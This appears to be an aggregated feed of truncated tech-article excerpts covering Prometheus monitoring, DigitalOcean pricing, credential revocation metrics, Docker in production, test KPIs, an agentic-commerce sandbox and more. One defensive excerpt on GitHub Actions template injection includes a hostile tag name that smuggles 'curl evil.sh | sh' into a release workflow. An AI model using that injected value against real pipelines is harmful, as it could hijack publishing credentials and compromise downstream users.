标签：#ev

FromSoftware is hoping to make a splash on the Switch 2 later this year when it launches The Duskbloods, a gothic competitive multiplayer game that's unlike anything the studio has made before. But before that, Switch 2 owners have a chance to experience the studio's biggest hit for the first time thanks to a port […]

A solid observability setup usually comes down to three pieces working together: something that collects metrics, something that exposes system-level metrics, and something that visualizes it all. Here's what each one does and how to install them. The Theory: How This All Fits Together Before installing anything, it helps to understand the model, because it's a bit different from how logging or alerting tools usually work. Pull, not push. Most people's first instinct is "the app should send its metrics somewhere." Prometheus flips that around — it pulls metrics on a timer instead. Every target (a machine, a service, an app) exposes a simple HTTP endpoint, usually /metrics , that just returns plain text numbers. Prometheus visits that endpoint every N seconds (the "scrape interval") and saves whatever it finds, with a timestamp attached. Nothing gets pushed to Prometheus — Prometheus goes and asks. This means for anything to show up in Prometheus, it has to satisfy one requirement: something has to expose a /metrics endpoint Prometheus can reach. That's the whole game. Everything else in this stack exists to satisfy that one requirement or to make the data useful afterward. Why Node Exporter exists. Your operating system doesn't naturally speak Prometheus's language — it doesn't expose CPU/memory/disk stats as a /metrics endpoint by default. Node Exporter's only job is to read stats the OS already tracks (via /proc and /sys on Linux) and republish them in the text format Prometheus expects, on port 9100. It's a translator, not a monitoring tool by itself — it collects nothing, decides nothing, alerts on nothing. It just answers "what does this machine look like right now?" whenever asked. Why Prometheus itself is separate. Prometheus doesn't know anything about CPUs or memory — it has no idea what it's scraping. It just knows: "go hit this list of URLs on a schedule, and remember what comes back." The intelligence is in the config (which targets to scrape, how often)

DigitalOcean App Platform is a metered system charged by app; Peon provisions limitless services to your existing Droplet. A practical pricing and feature comparison. The same cloud, but two very distinct approaches. There are two methods of deploying your app with DigitalOcean, and the pricing disparity between the two may be much greater than you expected. App Platform is the managed PaaS service: you integrate with the code repository, and DigitalOcean provisions, deploys and maintains your app. The costs include monthly rates per component starting at $5 for web services plus separate payments for workers plus $7+ for a development database and $15+ for a production database. The alternative way is just a regular Droplet: either a $6 VPS (1 CPU, 1 GB) or a $12 VPS (1 CPU, 2 GB) with ability to run as many containerized apps as it has available resources. Traditionally, the droplet approach required self-managing your infrastructure, exactly what a platform like Peon fixes. Cost at small scale, with real numbers For example, take a regular indie/agency load of three small apps, shared Postgres, and Redis. In App Platform, this would cost about $37 a month, where three web services ($15), a managed dev database ($7), and Redis ($15) are the cheapest tier offerings (share CPU, limited to 512 MB memory). On one $12 Droplet using Peon, $12 for the Droplet, $6 for three projects running, all with access to 2 GB of memory plus. About $18 per month total, and the ability to use as much memory as the application needs (without being limited to 512 MB slices). And this ratio grows with every additional service, as the costs for the additional Droplet resources are already included. The fourth app on App Platform will add somewhere between $5 and $12 of the bill; on your own Droplet, $2. Comparison of features Push Git deployment: both, with build log Automatic HTTPS for custom domains: both Roll out and roll back with zero downtime: both Database support: App Platform nee

This is a follow-up to an article we published in The Hacker News introducing time to revoke as a critical CISO metric. This version provides a practical guide for measuring it across exposed secrets and non-human identities. 👉 TL;DR: Time to revoke is a security metric that measures how long an exposed credential remains usable after it has been confirmed valid. Measuring it requires teams to record when a credential is validated and when its invalidation is confirmed. From that baseline, CISOs can track median and P90 time to revoke, the percentage of exposed secrets revoked within SLA, owner coverage, the percentage that remain valid after detection, and the incidents that require manual escalation. Detection is not the same as credential revocation Detection tells you when a credential was found. A remediation ticket tells you when work was assigned or closed. Neither tells you whether the exposed access was fully neutralized. For leaked credentials, "Did we find it?" is the first question. "How long did it remain valid?" is just as important, if not more so. If a leaked API key, cloud credential, service account token, OAuth secret, private key, or database connection string is still valid, it is a point of ingress. Until it is revoked, rotated, or otherwise invalidated, it remains a path an attacker can use. Credential rotation only counts when the exposed credential is disabled, expired, or otherwise rendered unusable. That makes time to revoke a critical CISO metric. It connects detection to business risk by measuring the exposure window security teams need to close. What is time to revoke in secrets remediation? Time to revoke measures how long an exposed credential remains usable after it has been confirmed valid. Time to revoke = confirmed invalidation timestamp − validation timestamp The clock starts when the organization verifies that the credential works and stops when it confirms that the credential can no longer be used. Closing a ticket, deleting a

A program can produce the right answer and still contain work that does not help it reach that answer. Tests pass, the output looks correct, and unnecessary computations survive because they appear harmless. This becomes easier to miss in AI-generated code. A model can produce a plausible implementation in seconds, but plausible code often includes variables, conversions, or branches that the requirement never asked for. An intent alignment review adds one question to the usual correctness check: Does every instruction help achieve or explain the stated goal? This does not require a formal proof or an exhaustive line-by-line exercise. The useful result can be concise. Correctness and intent Correctness asks whether the observable behavior matches the specification. Intent alignment looks for code that contributes neither behavior nor useful clarity. The goal is not to produce the fewest possible lines. A named constant or helper function can be worthwhile even when the program could run without it. The concern is accidental complexity: code that suggests requirements or design decisions that do not actually exist. AI can help by reading the requirement and implementation together. It can confirm the working behavior, identify unnecessary instructions, and explain whether those instructions are harmful or simply unhelpful. A small Fibonacci example Consider this specification: The function should print to stdout the first hundred elements of the Fibonacci sequence. The phrase "first hundred" does not specify whether the sequence begins with 0, 1 or 1, 1 . For this review, we assume the intended convention begins with 0, 1 and prints one value per line. def print_fibonacci_100 (): a , b = 0 , 1 sequence_limit = 100 display_width = len ( str ( sequence_limit )) for index in range ( sequence_limit ): current_value = int ( a ) print ( current_value ) a , b = b , a + b checkpoint = ( index + 1 ) % 10 == 0 final_pair = ( a , b ) print_fibonacci_100 () Review The implementa

I published a post called "I Audited My Own Portfolio and Found 20 Problems" . It was an inventory: I went through my own site — a React 19 + Vite SPA with Sanity as the CMS — wrote down everything that was wrong with it, fixed what mattered, and put the before and after numbers next to each item. If you haven't read it, the only part that matters here is the methodology, and one line of it in particular: I went through the build output chunk by chunk in build/assets/ . I called that the step that hurts and the one most people skip. I still think that is true. It is also the step that guaranteed I would miss the largest thing wrong with the site. The step that worked Weighing the build output worked exactly as advertised. Finding 1 of that audit was an unoptimized PNG of a developer illustration on /gabriel-abreu , my contact page, 993 KB, sent to every visitor who landed there. It went to 23 KB. A second image, the cutout of me that sits in three different greetings, went from 358 KB to 45 KB. Those two are bundled assets. A component imports one: import p from " ../assets/developer-illustration.webp " ; Vite follows that import, hashes the file, and emits it into build/assets/ . After the build it is a file on disk with a size. Listing the directory finds it. Sorting the listing by size finds it first. There is no way to ship it and not have it show up in that step. So the method was sound within its domain: both of those images are bundled assets, and the step found both. On August 23 I opened the blog index in a browser and watched what it actually requested. Sixteen post covers, 9.88 MB. None of that could have appeared in the audit. Not because I was sloppy that day — because of where those bytes come from. Two lifecycles A bundled asset exists at build time. An import makes it a build input, the bundler makes it a build output, and anything that reads the build output sees it. A CMS image is never a build input. Nothing imports it. It arrives as a string in a

post 8: You run a container. It starts successfully. The application works. So… is it production-ready? Not necessarily. The real test of a production container isn't what happens when everything works. It's what happens when something goes wrong. What happens when the application consumes all available memory? What happens when the process crashes? What happens when the application is running, but isn't actually healthy? Where do the logs go? How do you know something is wrong before users tell you? And when the container fails, how do you find the actual cause? Running Docker in production isn't just about starting containers. It's about making them reliable, observable, manageable, and recoverable. 1. Production Starts With Boundaries A container that works perfectly on a developer's laptop can behave very differently under production load. Development often prioritizes: Speed Convenience Easy debugging Frequent changes Production prioritizes: Reliability Predictability Security Observability Recovery One of the first production questions is: What happens if this container consumes more resources than expected? That's where resource limits come in. 2. Resource Limits – Don't Let One Container Consume Everything Without appropriate resource limits, a container can consume more host resources than intended. For example: docker run \ --memory = 512m \ --cpus = 1.0 \ nginx This limits the container to: 512 MB memory 1 CPU Why does this matter? Imagine one application suddenly starts consuming several gigabytes of memory. Without appropriate limits, it could affect other workloads running on the same host. Resource limits create boundaries between workloads. But remember: A resource limit doesn't fix a memory leak. It only limits how much damage that container can cause to the host. So now we have another question: What if the container is running, but the application inside it is broken? 3. Health Checks – Running Doesn't Mean Healthy One of the most important produc

Bose QuietComfort headphones used to be innovative. Bose's noise-canceling research is the reason the technology is where it is today, and its headphones set the standard. They were the ubiquitous traveler's accessory. But over the past few years, it's felt like Bose has rested on that reputation, as other companies have caught up. Sony and […]

HelloFresh’s organic meal kit Green Chef offers transparent sourcing, layered cooking, and trustworthy gluten-free dishes.

Xbox and Ikea collab alert! This unique nine-piece collection for gamers arrives this fall and has a slew of Easter eggs.

A technically perfect app can still fail. It can have clean code, modern architecture, powerful APIs, and impressive features—and still leave users uninstalling it, abandoning transactions, or switching to a competitor. Because users don't experience your code.They experience the product. That is why developers and businesses need to look beyond functionality and ask a more important question: “Does this software make the user’s life easier?” The Real Cost of a Poor Digital Experience Customer expectations are rising quickly. According to PwC’s 2025 Customer Experience Survey, 70% of executives say customer expectations are evolving faster than their companies can adapt. Even more importantly, 29% of consumers said they stopped using or buying from a brand because of poor customer experience. That means a frustrating digital experience isn't simply a UX problem. It can become a business problem . A confusing checkout flow, slow screen, unnecessary registration step, broken search function, or poorly designed notification can turn a potential customer into a lost customer. And users rarely tell you exactly what went wrong. They simply leave. More Features Don't Always Mean More Value One of the biggest mistakes in software development is assuming that adding more features automatically makes a product better. It doesn't. Imagine an app with: 30+ features AI integration Multiple dashboards Complex personalization Advanced analytics …but users struggle to complete the one task they downloaded the app for. That's not innovation. That's friction. A better development approach starts with identifying the core user problem and then building around it. Before adding a feature, ask: What problem does this solve? If the answer isn't clear, the feature may not belong in the product. Performance Is Part of User Experience Developers often separate performance from UX. Users don't. To them, a slow API, delayed screen, frozen button, or failed transaction is simply a bad experien

There is one line of YAML I have been chasing across open source for months: run : | TAG="${{ github.event.release.tag_name }}" It looks like reading a variable. It is not. ${{ ... }} is a template expression . GitHub substitutes it as raw text into the script before bash ever parses the line. By the time the shell runs, there is no variable — there is whatever the tag name happened to be, pasted directly into your program. So a tag named: v1.0 "; curl evil.sh | sh; echo " is not compared. It runs. Why it is always the release workflow You could write this bug anywhere. In practice it clusters in exactly one place: the workflow that publishes. That is not a coincidence. Release workflows are where you handle version strings, tag names, and workflow_dispatch inputs — the values that feel like configuration rather than user input. And release workflows are also where the interesting credentials live: permissions : id-token : write # Trusted Publishing to PyPI The two facts meet. The job most likely to contain the bug is the job holding the token that publishes to every one of your users. The JavaScript variant is worse actions/github-script has the same flaw, but people miss it because the block looks like a script file: - uses : actions/github-script@v7 with : script : | const tag = '${{ env.RELEASE_TAG }}'; That script: body is JavaScript source . The expansion happens before it is parsed, so a single quote in the value closes the string literal and the rest is evaluated as code. And a tag name absolutely can contain a single quote. git check-ref-format rejects spaces, ~ , ^ , : , ? , * , [ and backslash. It does not reject ' . The fix is three lines Pass the value through env . An environment variable is only ever data — it is never re-parsed as source text. # Before run : | TAG="${{ github.event.release.tag_name }}" # After env : RELEASE_TAG : ${{ github.event.release.tag_name }} run : | TAG="$RELEASE_TAG" Same for the JavaScript case — process.env.RELEASE_TAG ins

Hello, I'm Maneshwar. I'm building git-lrc, a Micro AI code reviewer that runs on every commit. It is...

Your backend framework will outlive your current team. Choose one that the next team can still navigate — here's why .NET has been that framework for Netflix, GitHub, and Stack Overflow for over two decades. Summary Twenty-three years. That's how long .NET has been running in production. Most frameworks from that era got abandoned, forked beyond recognition, or replaced entirely — .NET kept showing up. Netflix still uses it. GitHub uses it. Stack Overflow, which has probably saved more developer careers than any single resource on the internet, runs on ASP.NET. None of these teams are using it out of inertia. They're using it because it works under conditions that expose every weakness in a poorly designed system. This article gets into how .NET actually works, what it gives teams day-to-day, and whether it makes sense for what you're building now. Key Takeaways: One codebase, five platforms — Windows, macOS, Linux, Android, iOS. No rewrites, no platform-specific forks. Three languages, one project — C#, F#, and Visual Basic coexist without forcing a rewrite. The performance tooling ships with it — JIT compiler, AOT compiler, CLR memory management, Garbage Collector. All out of the box. Why Is .NET Still Around? Honestly, this question is worth sitting with for a second — because in software, most things don't survive twenty years. They solve the problem of the moment, get widely adopted before anyone finds the sharp edges, and then get quietly replaced when something newer comes along and the migration pain seems worth it. .NET didn't go that way. Some of that is Microsoft backing — resources, long-term support commitments, a developer community that doesn't dissolve when priorities shift. But backing alone doesn't explain it. Plenty of well-resourced frameworks have died. What actually kept .NET alive is that the foundational architecture held up. The cross-platform capability wasn't duct-taped on in 2020 because everyone suddenly cared about Linux. It was in the

Diagrid Catalyst 2.0 applies Dapr-based recovery, signed workflow history and execution attestation across several agent frameworks. Architects should compare it with framework-native durability and established workflow engines, while evaluating benchmark evidence and operational trade-offs. By Mark Silvester

Measuring the impact of test automation goes beyond simple pass/fail ratios. To demonstrate real engineering excellence and business value, automation metrics must capture execution speed, suite stability, test coverage, maintenance cost, and CI/CD integration. Here is a comprehensive, unified KPI framework designed specifically for Playwright & JavaScript automation suites. 📊 Executive KPI Targets Category Metric Target Execution Speed Runtime Reduction 50% ↓ Efficiency Throughput +40% ↑ Stability Flaky Tests < 3% Reliability Retry Dependency < 5% Coverage Automation Coverage 80%+ Quality Defect Leakage 20–30% ↓ Productivity Script Dev Time 30% ↓ CI/CD Pipeline Time 40% ↓ ROI Automation ROI Positive (3–6 months) Cost Manual Effort Reduction 30–50% ↓ 1. Execution Efficiency & Speed Test Execution Time Reduction: Target 40–60% reduction vs legacy frameworks like Selenium. $$\text{Reduction \%} = \frac{\text{Old Time} - \text{New Time}}{\text{Old Time}} \times 100$$ Parallel Execution Efficiency: Measure tests executed per hour and parallel thread utilization. $$\text{Efficiency \%} = \frac{\text{Sequential Time} - \text{Parallel Time}}{\text{Sequential Time}} \times 100$$ Test Throughput: Maximize total test cases executed per CI window. CI/CD Pipeline Cycle Time: Aim for a 30–40% total reduction in build + test execution duration. 2. Stability & Reliability Flaky Test Rate: Keep flaky tests under 2–3% by leveraging Playwright's native auto-waiting and resilient locators. $$\text{Flakiness \%} = \frac{\text{Flaky Tests}}{\text{Total Tests}} \times 100$$ Retry Dependency Ratio: Track the percentage of tests passing only after retries to minimize false positives. Failure Root Cause Accuracy: Target >90% of test failures pointing directly to genuine application defects rather than script instability. 3. Coverage Metrics Automation Coverage: Maintain 80%+ regression coverage across all functional scenarios. Cross-Browser & Device Coverage: Measure test runs across Chromi

Hey DEV community! 👋 When writing technical documentation, user guides, or long-form informational articles, maintaining a clear and engaging reading style is highly important. However, as writers, we often fall into repetitive phrasing habits without realizing it. Traditional word counters only track isolated, single words. To evaluate multi-word phrases and understand the flow of our writing, we need a different approach. This is where an N-gram analysis becomes highly useful. To provide a safe and private solution for content editors, I built a lightweight, entirely client-side N-gram Analyzer . In this post, we will explore the technical implementation of this utility, how to handle text segmentation in JavaScript, and why local browser processing is a reliable choice for data privacy. What is an N-gram? In computational linguistics and text processing, an N-gram is a contiguous sequence of $n$ items (usually words) from a given sample of text. A Unigram represents single words ($n=1$). A Bigram represents two-word phrases ($n=2$). A Trigram represents three-word phrases ($n=3$). A 4-gram represents four-word phrases ($n=4$). Analyzing these combinations helps developers and content creators identify repetitive phrases, evaluate vocabulary diversity, and check if the thematic distribution of a document aligns with its target focus. The Client-Side Approach: Privacy and Data Isolation Many online text tools process user inputs on backend servers. This setup introduces a significant privacy risk if you are analyzing sensitive internal documentation, unpublished drafts, or proprietary code comments. By executing the lexical parsing entirely within the user's browser, we keep the processing local. The text never travels across the network, and there are no external database logs. The local device handles the entire operation. Implementing the N-gram Extraction in JavaScript Let's look at the core logic. To build an N-gram extractor, the utility must perform three ke

If you're building or evaluating an AI agent that can shop and check out on its own, you've probably run into the new "agentic commerce" protocols: ACP (OpenAI + Stripe + Meta), AP2 (Google), and UCP. They define how an agent talks to a merchant to create a checkout session, apply a payment token, and get an order back. Stripe's own test mode covers the payment half fine — test cards, test API keys. But there's no hosted "fake merchant" you can point your agent at to verify the protocol half: does your agent correctly create a session, handle a 422 idempotency conflict, parse the order response, retry politely? You either mock it yourself from the spec, or risk finding out against a real merchant. So I built acp-sandbox — a small hosted mock merchant implementing the ACP checkout API, live at https://acp-sandbox.flo-voice1.com . What it does It implements the real checkout_sessions lifecycle from ACP's 2026-04-17 spec : create, retrieve, update, complete, cancel. Responses match the actual CheckoutSession / Order / Error schemas for the fields it supports — I pulled the OpenAPI spec directly rather than guessing field names. # get a test key, no signup curl -X POST https://acp-sandbox.flo-voice1.com/keys \ -H "Content-Type: application/json" -d '{"email":"you@example.com"}' # create a session against the demo catalog curl -X POST https://acp-sandbox.flo-voice1.com/checkout_sessions \ -H "Authorization: Bearer acps_test_..." \ -H "Content-Type: application/json" \ -d '{"line_items":[{"id":"item_demo_headphones","quantity":1}],"currency":"usd"}' Every request/response is logged per API key ( GET /logs ), so you can see exactly what your agent sent when something doesn't work. What it deliberately doesn't do (yet) No real payment processing — complete always succeeds once you send any payment_data . No OAuth delegate_authentication flow. No fulfillment options (shipping/pickup) — every session goes straight to ready_for_payment . Fixed demo catalog (4 items), not a rea

Tracking test automation metrics manually often leads to outdated figures and missed engineering gaps. To solve this, automated reporting directly from your test suites—such as Playwright and Cucumber—provides clear visibility into health, execution speed, and coverage. Below is a breakdown of how to structure an Automation KPI Dashboard to streamline test metrics, track trends, and establish actionable engineering goals. Executive Summary Dashboard KPI Metric Target Current Value Status Trend Total Test Cases 100% coverage 85% 🟡 Partial ↗️ Up Automated Test Coverage 90%+ 78% 🟡 Partial ↗️ Up Pass Rate (Last Run) 95%+ 92% 🟡 Partial ↔️ Stable Avg. Execution Time < 30 min 28 min 🟢 Good ↘️ Down Flaky Test Rate < 2% 1.5% 🟢 Good ↔️ Stable Defects Detected — 3 🟡 Review ↔️ Stable CI/CD Pipeline Success 100% 98% 🟡 Partial ↗️ Up Key Metric Breakdowns 1. Coverage & Execution Total Test Suite: 120 tests (94 Automated, 26 Manual). Latest Run (2026-05-29): 94 executed — 87 passed, 7 failed, 0 skipped. 2. Flakiness Tracking Flaky Tests (Last 10 Runs): 2 scenarios identified. Top Offenders: Scenario A: UI timeout issues. Scenario B: Data synchronization lag. 3. Defect Detection & CI/CD Performance Defect Lifecycle: 3 opened, 1 closed (Avg. resolution time: 2 days). Pipeline Health: 98% success rate, 12 min average build time. Primary Cause of Pipeline Failure: Dependency resolution errors. Execution & Pass Rate Trends (Last 6 Runs) Run Date Pass % Fail % Flaky % Duration (min) 2026-05-29 92% 8% 2% 28 2026-05-28 91% 9% 2% 29 2026-05-27 90% 10% 3% 30 2026-05-26 89% 11% 3% 31 2026-05-25 88% 12% 4% 32 2026-05-24 87% 13% 4% 33 Next Engineering Action Items Automation Expansion: Push total automated coverage past 90%. Flakiness Mitigation: Refactor explicit waits and isolation for UI timeout and data sync scenarios. Pipeline Stability: Resolve dependency caching errors to bring CI/CD success to 100%. Optimization: Lower execution suite duration below 25 minutes using parallel run setups.

This isn't my main piece for the week, it's more of a "contributes nothing to knowledge" kind of post. Last week I took another look at my portfolio and thought, "Hey, why not make this feel a bit more like me?" So I set out to give it a makeover, stuffed as much of my personality into it as I could, and et voilà, done. The old one was kinda too formal. TL;DR: I gave my portfolio a personality transplant. If you'd rather just look than read: a-thedeveloper.vercel.app Vibe / Tone Option By default, the professional option is enabled. But if you're not too sensitive and want to have a little fun, try toggling over to the unfiltered version of me, lol. I don't actually talk like that in real life anymore, but having grown up speaking English, that's pretty much how I sounded back in my teenage years. I was a grumpy teenager like everyone else, the difference is I was extra grumpy compared to most. 😭 I also lost access to my Instagram account, so all of it is still sitting there, public, for anyone to see. Every day I hope that account just quietly gets deleted. And if you're wondering whether that same energy has been erased, nope, it's still very much here. I just keep it contained to appropriate contexts now, lol. I also found these while digging through my old microsoft drive, weird 16 year old me stuff. I actually said this in a debate, by the way. Can't remember if my team won that one or lost. Weather Options Kinda irrelevant to how it actually describes my portfolio, but I initially wanted to make rainy the only option, because I'm a big fan of dark, gloomy, cloudy weather — the kind that makes England look like heaven to me. 😭 Then I thought, why not just have all of them? So now each weather option comes with its own falling elements based on the selection, plus music that I feel fits the atmosphere. Again, it doesn't really serve any practical purpose, but I think it's a nice little touch to have, haha. DEV Writing Views with an API Key When I joined DEV in 2